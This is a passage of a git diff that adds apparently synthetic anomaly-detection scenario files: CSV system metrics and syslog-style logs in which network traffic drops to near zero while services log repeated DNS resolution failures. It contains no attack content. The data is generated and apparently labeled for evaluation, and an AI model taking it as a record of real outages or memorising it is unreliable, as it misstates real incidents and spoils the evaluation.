status=200 OK +Jul 09 10:01:15 systemd[1]: Starting daily clean up activities... +Jul 09 10:01:20 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:02:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:02:30 api-gateway[3456]: ERROR Failed to resolve 'api.thirdparty.com': Unknown host +Jul 09 10:02:40 api-gateway[3456]: ERROR Failed to resolve 'api.thirdparty.com': Unknown host +Jul 09 10:02:50 api-gateway[3456]: ERROR Failed to resolve 'api.thirdparty.com': Unknown host +Jul 09 10:03:00 api-gateway[3456]: ERROR Failed to resolve 'api.thirdparty.com': Unknown host +Jul 09 10:03:10 api-gateway[3456]: ERROR Connection to 'database.internal.service' failed: Host not found +Jul 09 10:03:20 api-gateway[3456]: ERROR Connection to 'database.internal.service' failed: Host not found +Jul 09 10:03:30 api-gateway[3456]: ERROR Connection to 'database.internal.service' failed: Host not found +Jul 09 10:03:40 api-gateway[3456]: ERROR Failed to resolve 'api.thirdparty.com': Unknown host +Jul 09 10:03:50 api-gateway[3456]: ERROR Could not connect to 'metrics.collector.io': Name or service not known +Jul 09 10:04:00 api-gateway[3456]: ERROR Could not connect to 'metrics.collector.io': Name or service not known +Jul 09 10:04:10 api-gateway[3456]: ERROR Connection to 'database.internal.service' failed: Host not found +Jul 09 10:04:20 api-gateway[3456]: ERROR Could not connect to 'metrics.collector.io': Name or service not known +Jul 09 10:04:30 api-gateway[3456]: ERROR Connection to 'database.internal.service' failed: Host not found +Jul 09 10:04:40 api-gateway[3456]: ERROR Could not connect to 'metrics.collector.io': Name or service not known +Jul 09 10:04:50 api-gateway[3456]: ERROR Connection to 'database.internal.service' failed: Host not found +Jul 09 10:05:00 systemd[1]: Starting daily clean up activities... +Jul 09 10:05:20 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:06:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:06:15 systemd[1]: Starting daily clean up activities... +Jul 09 10:06:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:07:20 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/anom_dataset/scenario_9/anom_9_11.csv b/anom_dataset/scenario_9/anom_9_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..b37ae2da8e2f02ac04524f1037ad7623aca86860 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-09T11:00:00Z,16.37,47.08,17.23,0.91,1.35 +2025-07-09T11:00:05Z,13.77,37.29,27.85,1.19,1.08 +2025-07-09T11:00:10Z,14.61,44.12,23.92,1.25,0.95 +2025-07-09T11:00:15Z,13.62,40.07,33.3,1.02,1.21 +2025-07-09T11:00:20Z,13.21,42.56,28.37,1.03,0.9 +2025-07-09T11:00:25Z,15.14,43.35,26.6,0.99,1.16 +2025-07-09T11:00:30Z,13.88,42.69,32.52,0.69,1.0 +2025-07-09T11:00:35Z,13.84,39.59,35.01,1.19,1.33 +2025-07-09T11:00:40Z,15.78,40.83,35.15,1.6,1.19 +2025-07-09T11:00:45Z,10.85,41.57,19.36,0.9,0.94 +2025-07-09T11:00:50Z,11.78,37.31,31.01,1.33,0.93 +2025-07-09T11:00:55Z,12.53,44.64,30.96,1.35,1.09 +2025-07-09T11:01:00Z,18.61,36.82,31.53,1.05,1.02 +2025-07-09T11:01:05Z,17.44,38.71,34.92,1.22,0.6 +2025-07-09T11:01:10Z,17.01,41.77,23.59,1.09,0.81 +2025-07-09T11:01:15Z,16.06,35.85,24.9,0.98,0.93 +2025-07-09T11:01:20Z,15.19,37.15,29.91,1.01,1.23 +2025-07-09T11:01:25Z,15.84,37.74,23.64,1.39,0.83 +2025-07-09T11:01:30Z,14.56,40.22,39.05,1.12,0.87 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+2025-07-09T11:03:15Z,16.76,44.04,40.46,0.03,0.0 +2025-07-09T11:03:20Z,12.13,44.45,27.07,0.01,0.01 +2025-07-09T11:03:25Z,16.34,38.54,25.53,0.01,0.03 +2025-07-09T11:03:30Z,13.55,37.5,26.31,0.04,0.01 +2025-07-09T11:03:35Z,12.56,35.57,24.07,0.03,0.03 +2025-07-09T11:03:40Z,17.94,44.82,28.76,0.03,0.04 +2025-07-09T11:03:45Z,14.68,43.89,32.11,0.01,0.0 +2025-07-09T11:03:50Z,14.63,40.68,32.42,0.03,0.02 +2025-07-09T11:03:55Z,17.36,38.81,32.35,0.03,0.05 +2025-07-09T11:04:00Z,13.55,36.16,30.79,0.02,0.02 +2025-07-09T11:04:05Z,14.0,45.95,32.71,0.04,0.05 +2025-07-09T11:04:10Z,18.27,45.54,29.88,0.01,0.04 +2025-07-09T11:04:15Z,16.35,40.24,28.36,0.04,0.02 +2025-07-09T11:04:20Z,12.27,38.65,35.64,0.01,0.04 +2025-07-09T11:04:25Z,12.56,37.21,38.82,0.03,0.02 +2025-07-09T11:04:30Z,15.68,36.2,31.3,0.01,0.01 +2025-07-09T11:04:35Z,13.42,42.29,19.55,0.05,0.03 +2025-07-09T11:04:40Z,15.48,39.98,33.17,0.05,0.0 +2025-07-09T11:04:45Z,13.53,39.42,34.4,0.03,0.04 +2025-07-09T11:04:50Z,13.27,39.46,31.14,0.0,0.02 +2025-07-09T11:04:55Z,13.89,35.19,18.15,0.01,0.02 +2025-07-09T11:05:00Z,17.43,42.92,28.57,0.02,0.0 +2025-07-09T11:05:05Z,15.82,37.63,26.01,0.05,0.01 +2025-07-09T11:05:10Z,15.73,42.95,30.94,0.0,0.02 +2025-07-09T11:05:15Z,11.89,43.24,26.97,0.02,0.01 +2025-07-09T11:05:20Z,13.84,41.46,24.12,0.01,0.0 +2025-07-09T11:05:25Z,16.79,38.91,36.08,0.05,0.05 +2025-07-09T11:05:30Z,16.46,43.35,28.95,0.01,0.01 +2025-07-09T11:05:35Z,11.28,41.77,32.73,0.03,0.01 +2025-07-09T11:05:40Z,14.67,35.46,33.74,0.03,0.02 +2025-07-09T11:05:45Z,16.64,42.47,26.36,0.02,0.02 +2025-07-09T11:05:50Z,17.44,47.28,17.3,0.01,0.01 +2025-07-09T11:05:55Z,12.13,37.96,34.16,0.05,0.01 +2025-07-09T11:06:00Z,15.19,39.28,26.34,0.02,0.04 +2025-07-09T11:06:05Z,16.17,37.98,36.28,0.04,0.05 +2025-07-09T11:06:10Z,12.49,44.34,33.25,0.04,0.04 +2025-07-09T11:06:15Z,16.56,38.95,28.5,0.01,0.01 +2025-07-09T11:06:20Z,12.52,43.84,30.07,0.0,0.01 +2025-07-09T11:06:25Z,16.47,38.6,28.68,0.03,0.03 +2025-07-09T11:06:30Z,16.55,36.3,36.34,0.01,0.05 +2025-07-09T11:06:35Z,11.49,41.83,31.16,0.04,0.01 +2025-07-09T11:06:40Z,17.51,40.91,33.84,0.01,0.02 +2025-07-09T11:06:45Z,15.12,37.22,33.67,0.01,0.01 +2025-07-09T11:06:50Z,14.37,42.52,32.83,0.02,0.01 +2025-07-09T11:06:55Z,12.92,37.64,30.58,0.01,0.05 +2025-07-09T11:07:00Z,13.82,37.36,27.44,0.0,0.01 +2025-07-09T11:07:05Z,14.51,44.77,24.2,0.03,0.0 +2025-07-09T11:07:10Z,19.07,38.01,23.65,0.03,0.04 +2025-07-09T11:07:15Z,13.39,38.87,27.68,0.0,0.01 +2025-07-09T11:07:20Z,17.69,42.81,30.28,0.0,0.04 +2025-07-09T11:07:25Z,14.07,40.09,22.74,0.02,0.03 diff --git a/anom_dataset/scenario_9/anom_9_11.log b/anom_dataset/scenario_9/anom_9_11.log new file mode 100644 index 0000000000000000000000000000000000000000..70c12e7266b6fb0d733b09d1b646bc1cd86a4c5c --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_11.log @@ -0,0 +1,81 @@ +Jul 09 11:00:00 CRON[100]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 11:00:00 api-gateway[5678]: INFO upstream request to service-backend.internal successful +Jul 09 11:00:00 systemd[1]: Starting daily clean up activities... +Jul 09 11:00:05 api-gateway[5678]: GET /v1/health status=200 OK +Jul 09 11:00:20 api-gateway[5678]: INFO upstream request to service-backend.internal successful +Jul 09 11:00:40 api-gateway[5678]: GET /v1/health status=200 OK +Jul 09 11:00:40 api-gateway[5678]: INFO upstream request to service-backend.internal successful +Jul 09 11:01:00 api-gateway[5678]: INFO upstream request to service-backend.internal successful +Jul 09 11:01:15 api-gateway[5678]: GET /v1/health status=200 OK +Jul 09 11:01:20 api-gateway[5678]: INFO upstream request to service-backend.internal successful +Jul 09 11:01:40 api-gateway[5678]: INFO upstream request to service-backend.internal successful +Jul 09 11:01:40 systemd[1]: Starting daily clean up activities... +Jul 09 11:01:50 api-gateway[5678]: GET /v1/health status=200 OK +Jul 09 11:02:00 api-gateway[5678]: INFO upstream request to service-backend.internal successful +Jul 09 11:02:20 api-gateway[5678]: INFO upstream request to service-backend.internal successful +Jul 09 11:02:25 api-gateway[5678]: GET /v1/health status=200 OK +Jul 09 11:02:30 api-gateway[5678]: ERROR Name or service not known for service-backend.internal +Jul 09 11:02:35 api-gateway[5678]: ERROR Name or service not known for service-backend.internal +Jul 09 11:02:40 api-gateway[5678]: ERROR E_RESOLVE, can't resolve 'service-backend.internal' +Jul 09 11:02:45 api-gateway[5678]: ERROR Name or service not known for service-backend.internal +Jul 09 11:02:50 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:02:55 CRON[3600]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 11:02:55 api-gateway[5678]: ERROR Name or service not known for service-backend.internal +Jul 09 11:03:00 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:03:05 api-gateway[5678]: ERROR Name or service not known for service-backend.internal +Jul 09 11:03:10 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:03:15 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:03:20 api-gateway[5678]: ERROR E_RESOLVE, can't resolve 'service-backend.internal' +Jul 09 11:03:20 systemd[1]: Starting daily clean up activities... +Jul 09 11:03:25 api-gateway[5678]: ERROR Name or service not known for service-backend.internal +Jul 09 11:03:30 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:03:35 api-gateway[5678]: ERROR E_RESOLVE, can't resolve 'service-backend.internal' +Jul 09 11:03:40 api-gateway[5678]: ERROR E_RESOLVE, can't resolve 'service-backend.internal' +Jul 09 11:03:45 api-gateway[5678]: ERROR Name or service not known for service-backend.internal +Jul 09 11:03:50 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:03:55 api-gateway[5678]: ERROR Name or service not known for service-backend.internal +Jul 09 11:04:00 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:04:05 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:04:10 api-gateway[5678]: ERROR Name or service not known for service-backend.internal +Jul 09 11:04:15 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:04:20 api-gateway[5678]: ERROR E_RESOLVE, can't resolve 'service-backend.internal' +Jul 09 11:04:25 api-gateway[5678]: ERROR Name or service not known for service-backend.internal +Jul 09 11:04:30 api-gateway[5678]: ERROR Name or service not known for service-backend.internal +Jul 09 11:04:35 api-gateway[5678]: ERROR Name or service not known for service-backend.internal +Jul 09 11:04:40 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:04:45 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:04:50 api-gateway[5678]: ERROR Name or service not known for service-backend.internal +Jul 09 11:04:55 api-gateway[5678]: ERROR Name or service not known for service-backend.internal +Jul 09 11:05:00 api-gateway[5678]: ERROR E_RESOLVE, can't resolve 'service-backend.internal' +Jul 09 11:05:00 systemd[1]: Starting daily clean up activities... +Jul 09 11:05:05 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:05:10 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:05:15 api-gateway[5678]: ERROR E_RESOLVE, can't resolve 'service-backend.internal' +Jul 09 11:05:20 api-gateway[5678]: ERROR Name or service not known for service-backend.internal +Jul 09 11:05:25 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:05:30 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:05:35 api-gateway[5678]: ERROR E_RESOLVE, can't resolve 'service-backend.internal' +Jul 09 11:05:40 api-gateway[5678]: ERROR E_RESOLVE, can't resolve 'service-backend.internal' +Jul 09 11:05:45 api-gateway[5678]: ERROR Name or service not known for service-backend.internal +Jul 09 11:05:50 CRON[7100]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 11:05:50 api-gateway[5678]: ERROR E_RESOLVE, can't resolve 'service-backend.internal' +Jul 09 11:05:55 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:06:00 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:06:05 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:06:10 api-gateway[5678]: ERROR E_RESOLVE, can't resolve 'service-backend.internal' +Jul 09 11:06:15 api-gateway[5678]: ERROR E_RESOLVE, can't resolve 'service-backend.internal' +Jul 09 11:06:20 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:06:25 api-gateway[5678]: ERROR Name or service not known for service-backend.internal +Jul 09 11:06:30 api-gateway[5678]: ERROR Name or service not known for service-backend.internal +Jul 09 11:06:35 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:06:40 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:06:40 systemd[1]: Starting daily clean up activities... +Jul 09 11:06:45 api-gateway[5678]: ERROR E_RESOLVE, can't resolve 'service-backend.internal' +Jul 09 11:06:50 api-gateway[5678]: ERROR E_RESOLVE, can't resolve 'service-backend.internal' +Jul 09 11:06:55 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:07:00 api-gateway[5678]: ERROR Name or service not known for service-backend.internal +Jul 09 11:07:05 api-gateway[5678]: ERROR E_RESOLVE, can't resolve 'service-backend.internal' +Jul 09 11:07:10 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:07:15 api-gateway[5678]: ERROR Unknown host: service-backend.internal +Jul 09 11:07:20 api-gateway[5678]: ERROR Name or service not known for service-backend.internal +Jul 09 11:07:25 api-gateway[5678]: ERROR E_RESOLVE, can't resolve 'service-backend.internal' diff --git a/anom_dataset/scenario_9/anom_9_12.csv b/anom_dataset/scenario_9/anom_9_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..17d1e7f4b3b57f1aad9317728034381977286085 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-09T12:00:00Z,17.55,40.54,29.41,1.28,1.45 +2025-07-09T12:00:05Z,16.33,45.28,38.05,1.43,0.77 +2025-07-09T12:00:10Z,14.53,45.62,26.68,1.45,1.47 +2025-07-09T12:00:15Z,16.25,41.74,39.12,1.46,1.2 +2025-07-09T12:00:20Z,12.79,42.86,15.49,1.69,1.09 +2025-07-09T12:00:25Z,12.54,45.34,29.18,0.88,1.14 +2025-07-09T12:00:30Z,16.03,44.6,33.5,1.81,1.1 +2025-07-09T12:00:35Z,13.46,49.76,26.89,1.3,1.02 +2025-07-09T12:00:40Z,17.1,42.67,25.76,1.11,1.01 +2025-07-09T12:00:45Z,15.57,46.45,28.65,1.18,1.64 +2025-07-09T12:00:50Z,9.27,39.21,25.03,1.27,1.2 +2025-07-09T12:00:55Z,17.36,47.81,36.98,1.0,1.04 +2025-07-09T12:01:00Z,12.91,43.73,24.75,1.41,1.96 +2025-07-09T12:01:05Z,11.26,42.72,29.14,1.24,1.45 +2025-07-09T12:01:10Z,18.34,43.33,28.15,1.41,1.14 +2025-07-09T12:01:15Z,17.4,40.86,34.26,0.84,1.69 +2025-07-09T12:01:20Z,11.01,42.74,37.94,0.98,1.28 +2025-07-09T12:01:25Z,14.6,49.33,33.03,0.8,1.45 +2025-07-09T12:01:30Z,13.24,44.0,25.29,1.34,1.37 +2025-07-09T12:01:35Z,16.33,48.33,21.12,1.18,2.07 +2025-07-09T12:01:40Z,13.97,38.53,25.33,0.75,1.08 +2025-07-09T12:01:45Z,12.67,45.29,17.51,1.6,1.68 +2025-07-09T12:01:50Z,14.85,44.91,23.76,0.63,1.33 +2025-07-09T12:01:55Z,13.72,42.4,37.19,1.35,1.08 +2025-07-09T12:02:00Z,16.91,38.95,23.24,1.21,1.85 +2025-07-09T12:02:05Z,17.37,46.55,31.15,1.17,1.16 +2025-07-09T12:02:10Z,15.27,42.64,30.12,1.56,1.05 +2025-07-09T12:02:15Z,10.98,45.59,26.8,1.75,1.35 +2025-07-09T12:02:20Z,13.42,46.98,41.83,1.37,1.1 +2025-07-09T12:02:25Z,16.93,44.76,27.23,0.95,1.2 +2025-07-09T12:02:30Z,14.35,47.11,35.33,0.03,0.01 +2025-07-09T12:02:35Z,16.16,46.54,36.17,0.02,0.04 +2025-07-09T12:02:40Z,12.57,44.59,35.31,0.01,0.04 +2025-07-09T12:02:45Z,12.68,47.05,30.67,0.05,0.05 +2025-07-09T12:02:50Z,14.85,49.37,29.0,0.01,0.02 +2025-07-09T12:02:55Z,12.57,44.86,32.97,0.05,0.01 +2025-07-09T12:03:00Z,16.17,47.18,32.54,0.05,0.04 +2025-07-09T12:03:05Z,16.11,44.54,36.81,0.03,0.02 +2025-07-09T12:03:10Z,15.51,46.95,30.25,0.02,0.03 +2025-07-09T12:03:15Z,15.57,49.06,29.96,0.0,0.02 +2025-07-09T12:03:20Z,18.23,45.71,21.54,0.05,0.03 +2025-07-09T12:03:25Z,18.33,44.28,33.68,0.02,0.03 +2025-07-09T12:03:30Z,16.11,38.3,33.16,0.04,0.03 +2025-07-09T12:03:35Z,14.9,40.47,29.92,0.05,0.0 +2025-07-09T12:03:40Z,18.45,43.92,25.26,0.05,0.02 +2025-07-09T12:03:45Z,15.17,43.91,27.84,0.05,0.02 +2025-07-09T12:03:50Z,13.8,43.44,31.89,0.01,0.01 +2025-07-09T12:03:55Z,20.27,46.31,30.02,0.0,0.04 +2025-07-09T12:04:00Z,14.96,41.06,27.84,0.02,0.01 +2025-07-09T12:04:05Z,15.35,38.09,22.65,0.01,0.05 +2025-07-09T12:04:10Z,17.12,50.89,29.23,0.04,0.0 +2025-07-09T12:04:15Z,16.28,44.61,31.2,0.04,0.04 +2025-07-09T12:04:20Z,14.25,46.34,29.57,0.02,0.0 +2025-07-09T12:04:25Z,16.7,44.67,31.41,0.02,0.0 +2025-07-09T12:04:30Z,13.72,48.58,22.1,0.01,0.04 +2025-07-09T12:04:35Z,16.4,45.94,24.51,0.05,0.03 +2025-07-09T12:04:40Z,19.18,49.19,29.19,0.03,0.04 +2025-07-09T12:04:45Z,16.89,48.56,36.73,0.01,0.01 +2025-07-09T12:04:50Z,15.02,46.31,38.71,0.03,0.02 +2025-07-09T12:04:55Z,15.98,49.36,33.78,0.04,0.04 +2025-07-09T12:05:00Z,13.26,42.75,34.22,0.05,0.0 +2025-07-09T12:05:05Z,17.8,45.23,29.79,0.02,0.05 +2025-07-09T12:05:10Z,14.52,45.06,22.26,0.05,0.0 +2025-07-09T12:05:15Z,13.55,49.5,27.94,0.02,0.02 +2025-07-09T12:05:20Z,14.07,45.46,31.26,0.02,0.04 +2025-07-09T12:05:25Z,13.23,42.56,26.85,0.03,0.01 +2025-07-09T12:05:30Z,18.68,42.87,30.91,0.02,0.01 +2025-07-09T12:05:35Z,13.24,46.8,26.07,0.02,0.03 +2025-07-09T12:05:40Z,17.23,39.75,26.02,0.01,0.01 +2025-07-09T12:05:45Z,16.51,50.76,22.27,0.01,0.02 +2025-07-09T12:05:50Z,14.79,42.32,29.67,0.02,0.05 +2025-07-09T12:05:55Z,14.56,46.67,32.79,0.04,0.02 +2025-07-09T12:06:00Z,15.75,48.61,24.82,0.02,0.03 +2025-07-09T12:06:05Z,16.53,46.94,30.31,0.04,0.05 +2025-07-09T12:06:10Z,15.27,44.26,29.39,0.04,0.03 +2025-07-09T12:06:15Z,15.25,42.36,29.77,0.02,0.01 +2025-07-09T12:06:20Z,16.34,51.6,25.67,0.03,0.01 +2025-07-09T12:06:25Z,13.79,46.41,28.48,0.04,0.05 +2025-07-09T12:06:30Z,13.3,47.16,30.41,0.04,0.02 +2025-07-09T12:06:35Z,14.07,38.11,28.24,0.02,0.04 +2025-07-09T12:06:40Z,10.32,48.55,29.84,0.05,0.02 +2025-07-09T12:06:45Z,16.53,47.35,25.31,0.0,0.03 +2025-07-09T12:06:50Z,12.85,39.69,40.26,0.04,0.04 +2025-07-09T12:06:55Z,13.17,43.99,30.99,0.02,0.05 +2025-07-09T12:07:00Z,15.68,46.76,27.29,0.05,0.02 +2025-07-09T12:07:05Z,14.44,42.33,30.56,0.04,0.04 +2025-07-09T12:07:10Z,14.07,48.53,17.31,0.0,0.04 +2025-07-09T12:07:15Z,12.97,45.39,28.32,0.01,0.05 +2025-07-09T12:07:20Z,16.01,52.57,36.76,0.04,0.04 +2025-07-09T12:07:25Z,15.1,46.45,30.43,0.04,0.04 diff --git a/anom_dataset/scenario_9/anom_9_12.log b/anom_dataset/scenario_9/anom_9_12.log new file mode 100644 index 0000000000000000000000000000000000000000..657207b87638e3ad1e424581af658ba791547e91 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_12.log @@ -0,0 +1,93 @@ +Jul 09 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 09 12:00:00 web-app[1414]: GET /api/v1/user/profile status=200 OK +Jul 09 12:00:05 web-app[1414]: GET /api/v1/user/profile status=200 OK +Jul 09 12:00:10 web-app[1414]: GET /api/v1/user/profile status=200 OK +Jul 09 12:00:20 web-app[1414]: GET /api/v1/user/profile status=200 OK +Jul 09 12:00:30 web-app[1414]: GET /api/v1/user/profile status=200 OK +Jul 09 12:00:35 web-app[1414]: GET /api/v1/user/profile status=200 OK +Jul 09 12:00:40 web-app[1414]: GET /api/v1/user/profile status=200 OK +Jul 09 12:00:45 web-app[1414]: GET /api/v1/user/profile status=200 OK +Jul 09 12:00:50 web-app[1414]: GET /api/v1/user/profile status=200 OK +Jul 09 12:00:50 web-app[1414]: INFO Connection to database `user_db` successful. +Jul 09 12:00:55 web-app[1414]: GET /api/v1/user/profile status=200 OK +Jul 09 12:00:55 web-app[1414]: INFO Connection to database `user_db` successful. +Jul 09 12:01:00 web-app[1414]: INFO Connection to database `user_db` successful. +Jul 09 12:01:05 web-app[1414]: INFO Connection to database `user_db` successful. +Jul 09 12:01:25 web-app[1414]: INFO Connection to database `user_db` successful. +Jul 09 12:01:30 web-app[1414]: GET /api/v1/user/profile status=200 OK +Jul 09 12:01:35 web-app[1414]: GET /api/v1/user/profile status=200 OK +Jul 09 12:01:40 web-app[1414]: INFO Connection to database `user_db` successful. +Jul 09 12:01:50 web-app[1414]: GET /api/v1/user/profile status=200 OK +Jul 09 12:01:55 web-app[1414]: GET /api/v1/user/profile status=200 OK +Jul 09 12:01:55 web-app[1414]: INFO Connection to database `user_db` successful. +Jul 09 12:02:00 web-app[1414]: GET /api/v1/user/profile status=200 OK +Jul 09 12:02:05 systemd[1]: Starting daily clean up activities... +Jul 09 12:02:05 web-app[1414]: GET /api/v1/user/profile status=200 OK +Jul 09 12:02:10 web-app[1414]: GET /api/v1/user/profile status=200 OK +Jul 09 12:02:15 web-app[1414]: GET /api/v1/user/profile status=200 OK +Jul 09 12:02:15 web-app[1414]: INFO Connection to database `user_db` successful. +Jul 09 12:02:20 web-app[1414]: GET /api/v1/user/profile status=200 OK +Jul 09 12:02:30 web-app[1414]: ERROR Failed to connect to api.external.com: [Errno -2] Name or service not known +Jul 09 12:02:35 web-app[1414]: ERROR Upstream service `auth-service.prod.local` resolution failed: Unknown host +Jul 09 12:02:40 web-app[1414]: WARN Could not resolve 'data-processor.internal': Host not found +Jul 09 12:02:45 web-app[1414]: WARN Could not resolve 'data-processor.internal': Host not found +Jul 09 12:02:50 web-app[1414]: ERROR Failed to connect to api.external.com: [Errno -2] Name or service not known +Jul 09 12:02:55 web-app[1414]: WARN Could not resolve 'data-processor.internal': Host not found +Jul 09 12:03:00 web-app[1414]: WARN Could not resolve 'data-processor.internal': Host not found +Jul 09 12:03:05 web-app[1414]: ERROR Upstream service `auth-service.prod.local` resolution failed: Unknown host +Jul 09 12:03:10 web-app[1414]: ERROR Failed to connect to api.external.com: [Errno -2] Name or service not known +Jul 09 12:03:15 web-app[1414]: ERROR Upstream service `auth-service.prod.local` resolution failed: Unknown host +Jul 09 12:03:20 CRON[8411]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 12:03:20 web-app[1414]: WARN Could not resolve 'data-processor.internal': Host not found +Jul 09 12:03:25 web-app[1414]: ERROR Failed to connect to api.external.com: [Errno -2] Name or service not known +Jul 09 12:03:30 web-app[1414]: WARN Could not resolve 'data-processor.internal': Host not found +Jul 09 12:03:35 web-app[1414]: WARN Could not resolve 'data-processor.internal': Host not found +Jul 09 12:03:40 web-app[1414]: WARN Could not resolve 'data-processor.internal': Host not found +Jul 09 12:03:45 web-app[1414]: ERROR Failed to connect to api.external.com: [Errno -2] Name or service not known +Jul 09 12:03:50 web-app[1414]: ERROR Failed to connect to api.external.com: [Errno -2] Name or service not known +Jul 09 12:03:55 web-app[1414]: ERROR Failed to connect to api.external.com: [Errno -2] Name or service not known +Jul 09 12:04:00 web-app[1414]: WARN Could not resolve 'data-processor.internal': Host not found +Jul 09 12:04:05 web-app[1414]: ERROR Upstream service `auth-service.prod.local` resolution failed: Unknown host +Jul 09 12:04:10 systemd[1]: Starting daily clean up activities... +Jul 09 12:04:10 web-app[1414]: ERROR Failed to connect to api.external.com: [Errno -2] Name or service not known +Jul 09 12:04:15 web-app[1414]: ERROR Failed to connect to api.external.com: [Errno -2] Name or service not known +Jul 09 12:04:20 web-app[1414]: ERROR Failed to connect to api.external.com: [Errno -2] Name or service not known +Jul 09 12:04:25 web-app[1414]: ERROR Upstream service `auth-service.prod.local` resolution failed: Unknown host +Jul 09 12:04:30 web-app[1414]: WARN Could not resolve 'data-processor.internal': Host not found +Jul 09 12:04:35 web-app[1414]: ERROR Upstream service `auth-service.prod.local` resolution failed: Unknown host +Jul 09 12:04:40 web-app[1414]: ERROR Upstream service `auth-service.prod.local` resolution failed: Unknown host +Jul 09 12:04:45 web-app[1414]: ERROR Failed to connect to api.external.com: [Errno -2] Name or service not known +Jul 09 12:04:50 web-app[1414]: ERROR Failed to connect to api.external.com: [Errno -2] Name or service not known +Jul 09 12:04:55 web-app[1414]: WARN Could not resolve 'data-processor.internal': Host not found +Jul 09 12:05:00 web-app[1414]: ERROR Upstream service `auth-service.prod.local` resolution failed: Unknown host +Jul 09 12:05:05 web-app[1414]: ERROR Upstream service `auth-service.prod.local` resolution failed: Unknown host +Jul 09 12:05:10 web-app[1414]: ERROR Failed to connect to api.external.com: [Errno -2] Name or service not known +Jul 09 12:05:15 web-app[1414]: WARN Could not resolve 'data-processor.internal': Host not found +Jul 09 12:05:20 web-app[1414]: WARN Could not resolve 'data-processor.internal': Host not found +Jul 09 12:05:25 web-app[1414]: WARN Could not resolve 'data-processor.internal': Host not found +Jul 09 12:05:30 web-app[1414]: WARN Could not resolve 'data-processor.internal': Host not found +Jul 09 12:05:35 web-app[1414]: ERROR Failed to connect to api.external.com: [Errno -2] Name or service not known +Jul 09 12:05:40 web-app[1414]: ERROR Upstream service `auth-service.prod.local` resolution failed: Unknown host +Jul 09 12:05:45 web-app[1414]: ERROR Upstream service `auth-service.prod.local` resolution failed: Unknown host +Jul 09 12:05:50 web-app[1414]: ERROR Failed to connect to api.external.com: [Errno -2] Name or service not known +Jul 09 12:05:55 web-app[1414]: WARN Could not resolve 'data-processor.internal': Host not found +Jul 09 12:06:00 web-app[1414]: ERROR Upstream service `auth-service.prod.local` resolution failed: Unknown host +Jul 09 12:06:05 web-app[1414]: ERROR Failed to connect to api.external.com: [Errno -2] Name or service not known +Jul 09 12:06:10 web-app[1414]: WARN Could not resolve 'data-processor.internal': Host not found +Jul 09 12:06:15 systemd[1]: Starting daily clean up activities... +Jul 09 12:06:15 web-app[1414]: ERROR Failed to connect to api.external.com: [Errno -2] Name or service not known +Jul 09 12:06:20 web-app[1414]: ERROR Failed to connect to api.external.com: [Errno -2] Name or service not known +Jul 09 12:06:25 web-app[1414]: WARN Could not resolve 'data-processor.internal': Host not found +Jul 09 12:06:30 web-app[1414]: WARN Could not resolve 'data-processor.internal': Host not found +Jul 09 12:06:35 web-app[1414]: ERROR Upstream service `auth-service.prod.local` resolution failed: Unknown host +Jul 09 12:06:40 CRON[8411]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 12:06:40 web-app[1414]: WARN Could not resolve 'data-processor.internal': Host not found +Jul 09 12:06:45 web-app[1414]: ERROR Upstream service `auth-service.prod.local` resolution failed: Unknown host +Jul 09 12:06:50 web-app[1414]: ERROR Upstream service `auth-service.prod.local` resolution failed: Unknown host +Jul 09 12:06:55 web-app[1414]: ERROR Failed to connect to api.external.com: [Errno -2] Name or service not known +Jul 09 12:07:00 web-app[1414]: ERROR Upstream service `auth-service.prod.local` resolution failed: Unknown host +Jul 09 12:07:05 web-app[1414]: ERROR Failed to connect to api.external.com: [Errno -2] Name or service not known +Jul 09 12:07:10 web-app[1414]: ERROR Failed to connect to api.external.com: [Errno -2] Name or service not known +Jul 09 12:07:15 web-app[1414]: ERROR Failed to connect to api.external.com: [Errno -2] Name or service not known +Jul 09 12:07:20 web-app[1414]: WARN Could not resolve 'data-processor.internal': Host not found +Jul 